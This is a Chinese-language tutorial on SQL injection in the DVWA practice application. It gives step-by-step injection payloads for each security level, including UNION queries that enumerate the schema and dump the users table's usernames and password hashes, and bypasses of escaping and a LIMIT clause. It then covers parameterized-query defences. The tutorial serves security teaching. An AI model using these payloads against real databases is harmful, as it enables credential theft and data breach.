DVWA-SQL Injection
字数 1050 2025-08-11 17:39:49
DVWA SQL注入漏洞分析与防御教学文档
1. SQL注入概述
SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改或删除数据库内容。
2. DVWA SQL注入漏洞分析
2.1 Low级别漏洞
漏洞特征:
- 代码未对id参数做任何过滤
- 存在字符型SQL注入漏洞
利用步骤:
-
基础测试:
- 输入
1:正常返回 - 输入
1':产生报错,确认存在SQL注入
- 输入
-
判断字段数:
1' order by 2 -- q # 回显正常 1' order by 3 -- q # 回显错误,确定字段数为2 -
确定回显点:
1' union select 1,2 -- q -
获取数据库信息:
- 当前数据库名:
1' union select 1,database() -- q # 返回dvwa - 数据库表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- q # 返回guestbook,users - users表字段:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q # 返回user_id,first_name,last_name,user,password,avatar,last_login,failed_login - 获取用户凭证:
1' union select group_concat(user),group_concat(password) from users -- q
- 当前数据库名:
2.2 Medium级别漏洞
防御措施:
- 使用
mysql_real_escape_string函数转义特殊字符(\x00,\n,\r,\,',",\x1a) - 前端使用下拉选择表单限制输入
绕过方法:
- 由于是数字型注入,转义函数无效:
1 or 1=1 # # 查询成功 1' or 1=1 # # 报错 - 后续利用方法与Low级别类似,但需要通过抓包修改参数
2.3 High级别漏洞
防御措施:
- SQL查询中添加
LIMIT 1限制输出结果
绕过方法:
- 使用注释符
#绕过LIMIT限制:1' or 1=1 union select group_concat(user),group_concat(password) from users #
2.4 Impossible级别防御
有效防御措施:
-
使用PDO技术:
- 划清代码与数据的界限
- 使用预处理语句和参数化查询
-
结果数量限制:
- 只有返回的查询结果数量为一时才输出
-
加入Anti-CSRFtoken机制:
- 防止跨站请求伪造攻击
3. SQL注入防御最佳实践
-
使用参数化查询/预处理语句:
- PDO或MySQLi的预处理功能
- 避免直接拼接SQL语句
-
输入验证:
- 白名单验证(针对数字型参数)
- 类型检查(如
intval())
-
最小权限原则:
- 数据库连接使用最低必要权限
-
错误处理:
- 禁止显示详细的数据库错误信息
-
多层防御:
- WAF(Web应用防火墙)
- 定期安全审计
-
编码规范:
- 对所有动态数据进行适当的转义
4. 实验环境搭建建议
- 使用DVWA(Damn Vulnerable Web Application)作为实验平台
- 在隔离环境中进行测试
- 测试后恢复数据库初始状态
5. 总结
SQL注入是Web应用中最常见且危险的漏洞之一。通过DVWA的不同安全级别,我们可以学习到:
- 从最基本的未过滤输入导致的注入
- 到部分防御措施的绕过方法
- 最终到使用PDO等现代防御技术的有效防护
开发人员应当始终使用参数化查询,并结合其他安全措施,构建纵深防御体系来防范SQL注入攻击。